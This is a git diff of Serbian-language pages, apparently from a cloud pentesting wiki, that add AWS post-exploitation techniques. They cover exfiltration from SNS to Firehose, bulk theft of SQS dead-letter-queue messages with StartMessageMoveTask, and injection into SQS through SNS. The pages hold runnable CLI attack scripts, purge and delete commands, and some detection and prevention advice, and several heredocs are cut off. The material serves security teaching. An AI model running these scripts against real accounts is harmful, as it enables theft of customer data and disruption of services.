+ +## Uticaj +**Potencijalni uticaj**: Napadač koji može да се претплати на SNS FIFO topic са омогућеним архивирањем и да подеси `ReplayPolicy` на својој претплати може одмах да изврши replay и exfiltrate историјске поруке објављене на тој topic, не само поруке послате након креирања претплате. Достављене поруке укључују `Replayed=true` заставицу у SNS envelope. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..d78e01aed --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristite Firehose subscription protocol da registrujete attacker-controlled Kinesis Data Firehose delivery stream na žrtvinom SNS standard topic-u. Kada je subscription uspostavljen i potrebna IAM role veruje `sns.amazonaws.com`, svaka buduća notifikacija se trajno zapisuje u attacker-ov S3 bucket uz minimalni šum. + +## Zahtevi +- Dozvole na nalogu napadača za kreiranje S3 bucket-a, Firehose delivery stream-a i IAM role koje koristi Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, itd.). +- Mogućnost da se `sns:Subscribe` na žrtvin topic (i opciono `sns:SetSubscriptionAttributes` ako je subscription role ARN dodeljen nakon kreiranja). +- Topic policy koja omogućava attacker principal-u da se pretplati (ili napadač već deluje u istom nalogu). + +## Koraci napada (primer u istom nalogu) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Čišćenje +- Obrišite SNS subscription, Firehose delivery stream, privremene IAM roles/policies i attacker S3 bucket. + +## Uticaj +**Potencijalni uticaj**: Kontinuirano i trajno exfiltration svake poruke objavljene na ciljani SNS topic u attacker-controlled storage, uz minimalan operativni otisak. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..b8624b90c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +## Description + +Iskoristite SQS message move tasks da biste ukrali sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi se eksfiltrirali osetljivi podaci koji su se vremenom nakupili u DLQ-ovima. + +## What is a Dead-Letter Queue (DLQ)? + +A Dead-Letter Queue je specijalan SQS queue u koji se poruke automatski šalju kada se ne uspešno obrade u glavnoj aplikaciji. Ove neuspele poruke često sadrže: +- Osetljive podatke aplikacije koji nisu mogli biti obrađeni +- Detalje o greškama i informacije za debug +- Personal Identifiable Information (PII) +- API tokene, kredencijale ili druge tajne +- Poslovno kritične podatke o transakcijama + +DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, što ih čini vrednim metama jer se vremenom u njima akumuliraju osetljivi podaci koje aplikacije nisu mogle ispravno obraditi. + +## Attack Scenario + +**Real-world example:** +1. **E-commerce application** obrađuje porudžbine kupaca kroz SQS +2. **Neke porudžbine zakažu** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ +3. **DLQ akumulira** nedelje/meseci neuspelih porudžbina koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Napadač dobija pristup** AWS credential-ima sa SQS dozvolama +5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima +6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u sopstveni queue +7. **Napadač izvuče** sve istorijske osetljive podatke u jednoj operaciji + +## Requirements +- Izvorni queue mora biti konfigurisан kao DLQ (referenciran od strane bar jednog queue RedrivePolicy). +- IAM permissions (izvodi se kao kompromitovani žrtvin principal): +- Na DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Na destination queue: dozvola za dostavljanje poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično po defaultu dozvoljeno. +- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +Exfiltrate osetljive payload-e akumulirane u DLQ-ovima (neuspešni eventi, PII, tokeni, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od žrtvinog principala. + +## How to Abuse + +- Identifikujte ARN žrtvinog DLQ-a i uverite se da je zaista referenciran kao DLQ od strane nekog queue-a (bilo koji queue je dovoljan). +- Kreirajte ili izaberite destination queue pod kontrolom napadača i dobijte njegov ARN. +- Pokrenite message move task sa žrtvinog DLQ-a na vaš destination queue. +- Pratite napredak ili otkažite po potrebi. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Kreirajte destinacijsku queue pod kontrolom napadača** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Izvršite masovnu krađu poruka** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Prikupite ukradene osetljive podatke** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Napomene o Cross-account +- Odredišna queue mora imati resource policy koji omogućava victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions). + +## Zašto je ovaj napad efikasan + +1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, zbog čega je teško otkriti kao zlonamerno +2. **Bulk Operation**: Premešta hiljade poruka brzo umesto sporog pojedinačnog pristupa +3. **Historical Data**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci +4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo +5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako su dozvole omogućene + +## Detekcija i prevencija + +### Detekcija +Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Prevencija +1. **Least Privilege**: Ograničiti `sqs:StartMessageMoveTask` dozvole samo na neophodne role +2. **Monitor DLQs**: Podesiti CloudWatch alarme za neobičnu aktivnost DLQs +3. **Cross-Account Policies**: Pažljivo pregledati SQS queue policies koje omogućavaju cross-account pristup +4. **Encrypt DLQs**: Koristiti SSE-KMS sa ograničenim politikama ključeva +5. **Regular Cleanup**: Ne dozvoljavati da se osetljivi podaci neograničeno akumuliraju u DLQs diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index c03e6126a..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Napadač bi mogao poslati zlonamerne ili neželjene poruke u SQS red, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene radnje ili iscrpiti resurse. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Potencijalni uticaj**: Iskorišćavanje ranjivosti, korupcija podataka, nepredviđene radnje ili iscrpljivanje resursa. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, korupciju podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Potencijalni uticaj**: Ukrasti osetljive informacije, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke. - -### `sqs:DeleteQueue` - -Napadač bi mogao da obriše celu SQS red, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na red. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu red. - -### `sqs:PurgeQueue` - -Napadač bi mogao da očisti sve poruke iz SQS reda, što bi dovelo do gubitka poruka i potencijalnog prekida aplikacija koje se oslanjaju na te poruke. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje se oslanjaju na obrisane poruke. - -### `sqs:SetQueueAttributes` - -Napadač bi mogao da izmeni atribute SQS reda, što bi potencijalno moglo uticati na njegovu performansu, bezbednost ili dostupnost. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -Napadač bi mogao da doda, izmeni ili ukloni oznake sa SQS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama. - -### `sqs:RemovePermission` - -Napadač bi mogao da opozove dozvole za legitimne korisnike ili usluge uklanjanjem politika povezanih sa SQS redom. To bi moglo dovesti do poremećaja u normalnom funkcionisanju aplikacija koje se oslanjaju na red. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na red zbog neovlašćenog uklanjanja dozvola. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..d77bbdd42 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Napadač bi mogao poslati maliciozne ili neželjene poruke u SQS queue, što bi moglo dovesti do oštećenja podataka, pokretanja neželjenih akcija ili iscrpljivanja resursa. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potencijalni uticaj**: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje, ili iscrpljivanje resursa. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Napadač bi mogao da primi, izbriše ili izmeni vidljivost poruka u SQS queue-u, što može prouzrokovati gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potencijalni uticaj**: Krađa osetljivih informacija, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke. + +### `sqs:DeleteQueue` + +An attacker bi mogao izbrisati celu SQS queue, što bi dovelo do gubitka poruka i uticalo na aplikacije koje se oslanjaju na tu queue. +```bash +aws sqs delete-queue --queue-url +``` +**Potencijalni uticaj**: gubitak poruka i prekid rada servisa za aplikacije koje koriste izbrisani SQS queue. + +### `sqs:PurgeQueue` + +Napadač bi mogao isprazniti sve poruke iz SQS queue, što bi dovelo do gubitka poruka i mogućeg prekida rada aplikacija koje se oslanjaju na te poruke. +```bash +aws sqs purge-queue --queue-url +``` +**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje zavise od izbrisanih poruka. + +### `sqs:SetQueueAttributes` + +Napadač bi mogao izmeniti atribute SQS queue-a, što bi potencijalno uticalo na njegovu performansu, bezbednost ili dostupnost. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Potencijalni uticaj**: Pogrešne konfiguracije koje mogu dovesti do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +Napadač može dodati, izmeniti ili ukloniti tagove sa SQS resursa, što može ometati dodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Potencijalni uticaj**: Poremećaj raspodele troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima. + +### `sqs:RemovePermission` + +Napadač bi mogao opozvati dozvole za legitimne korisnike ili servise uklanjanjem politika povezanih sa SQS queue-om. To može dovesti do poremećaja u normalnom radu aplikacija koje se oslanjaju na SQS queue. +```bash +aws sqs remove-permission --queue-url --label +``` +**Mogući uticaj**: Poremećaj normalnog rada aplikacija koje zavise od reda poruka zbog neovlašćenog uklanjanja dozvola. + +### Više SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..867e70a0f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Opis + +Iskoristite SQS message move tasks da ukradete sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi exfiltrate osetljive podatke koji su se tokom vremena nagomilali u DLQ. + +## Šta je Dead-Letter Queue (DLQ)? + +Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada glavna aplikacija ne uspe da ih uspešno obradi. Te neuspešne poruke često sadrže: +- Osetljive podatke iz aplikacije koji nisu mogli biti obrađeni +- Detalje o greškama i informacije za debug +- Lične identifikacione podatke (PII) +- API tokene, kredencijale ili druge tajne +- Poslovno-kritične transakcione podatke + +DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, zbog čega su vredne mete — akumuliraju osetljive podatke tokom vremena koje aplikacija nije uspevala da procesuira. + +## Scenario napada + +**Real-world example:** +1. **E-commerce application** obrađuje porudžbine kupaca preko SQS +2. **Neke porudžbine ne uspeju** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ +3. **DLQ se nagomilava** nedeljama/mesecima sa neuspelim porudžbinama koje sadrže podatke kupaca: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Attacker gains access** do AWS kredencijala sa SQS dozvolama +5. **Attacker otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima +6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da masovno prebaci SVE poruke u svoj red +7. **Attacker izvlači** sve istorijske osetljive podatke u jednoj operaciji + +## Zahtevi +- Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog RedrivePolicy na nekom redu). +- IAM dozvole (izvršava se kao kompromitovani nalog žrtve): +- Na DLQ (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Na destinacionom redu: dozvola za isporuku poruka (npr. queue policy koji dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično dozvoljeno podrazumevano. +- Ako je omogućen SSE-KMS: na izvornoj CMK `kms:Decrypt`, i na destinacionoj CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Uticaj +**Potencijalni uticaj**: Exfiltrate sensitive payloads akumulirane u DLQ-ovima (neuspešni događaji, PII, tokeni, payloadi aplikacije) velikom brzinom koristeći native SQS API-je. Radi cross-account ako policy destinacionog reda dozvoljava `SendMessage` od žrtvinog principala. + +## Kako zloupotrebiti + +- Identifikujte ARN žrtvinog DLQ i uverite se da je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan). +- Kreirajte ili izaberite red koji kontroliše napadač i dobijte njegov ARN. +- Pokrenite message move task sa žrtvinog DLQ-a ka vašem destinacionom redu. +- Pratite napredak ili otkažite zadatak po potrebi. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Kreirajte attacker-controlled destination queue** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Izvršite masovnu krađu poruka** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Sakupite ukradene osetljive podatke** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Napomene za Cross-account +- Ciljna queue mora imati resource policy koji dozvoljava victim principal-u da izvrši `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions). + +## Zašto je ovaj napad efikasan + +1. **Legitiman AWS feature**: Koristi ugrađenu AWS funkcionalnost, što otežava otkrivanje kao maliciozno +2. **Masovna operacija**: Prebacuje hiljade poruka brzo umesto sporog pojedinačnog pristupa +3. **Istorijski podaci**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci +4. **Ispod radara**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo +5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako dozvole to omogućavaju + +## Detekcija i prevencija + +### Detekcija +Pratite CloudTrail za sumnjive `StartMessageMoveTask` API pozive: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Prevencija +1. **Princip najmanjih privilegija**: Ograničite dozvole `sqs:StartMessageMoveTask` samo na neophodne role +2. **Monitor DLQs**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-a +3. **Cross-Account Policies**: Pažljivo pregledajte SQS queue policies koje omogućavaju cross-account pristup +4. **Encrypt DLQs**: Koristite SSE-KMS sa ograničenim politikama ključeva +5. **Regular Cleanup**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..f21d50d94 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy + +{{#include ../../../../banners/hacktricks-training.md}} + +## Description + +Zloupotrebite SQS queue resource policy da omogućite attacker-controlled SNS topic da publish-uje poruke u victim SQS queue. U istom account-u, SQS subscription na SNS topic se automatski potvrđuje; u cross-account slučaju, morate pročitati SubscriptionConfirmation token iz queue i pozvati ConfirmSubscription. Ovo omogućava unsolicited message injection koje downstream consumers mogu implicitno verovati. + +### Requirements +- Mogućnost izmene target SQS queue resource policy: `sqs:SetQueueAttributes` on the victim queue. +- Mogućnost kreiranja/publish-ovanja na SNS topic pod attacker control: `sns:CreateTopic`, `sns:Publish`, i `sns:Subscribe` on the attacker account/topic. +- Cross-account only: privremeni `sqs:ReceiveMessage` na victim queue da pročitate confirmation token i pozovete `sns:ConfirmSubscription`. + +### Same-account exploitation +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Napomene za cross-account +- Gore navedena politika reda mora dozvoliti strani `TOPIC_ARN` (attacker account). +- Pretplate se neće automatski potvrditi. Dodelite sebi privremeno `sqs:ReceiveMessage` na ciljni SQS red da biste pročitali poruku `SubscriptionConfirmation`, a zatim pozovite `sns confirm-subscription` sa njenim `Token`. + +### Uticaj +**Potencijalni uticaj**: Kontinuirano neželjeno ubacivanje poruka u pouzdan SQS red preko SNS-a, što može pokrenuti neželjenu obradu, zagađenje podataka ili zloupotrebu toka rada. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 78% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 412a19146..61aa988bd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 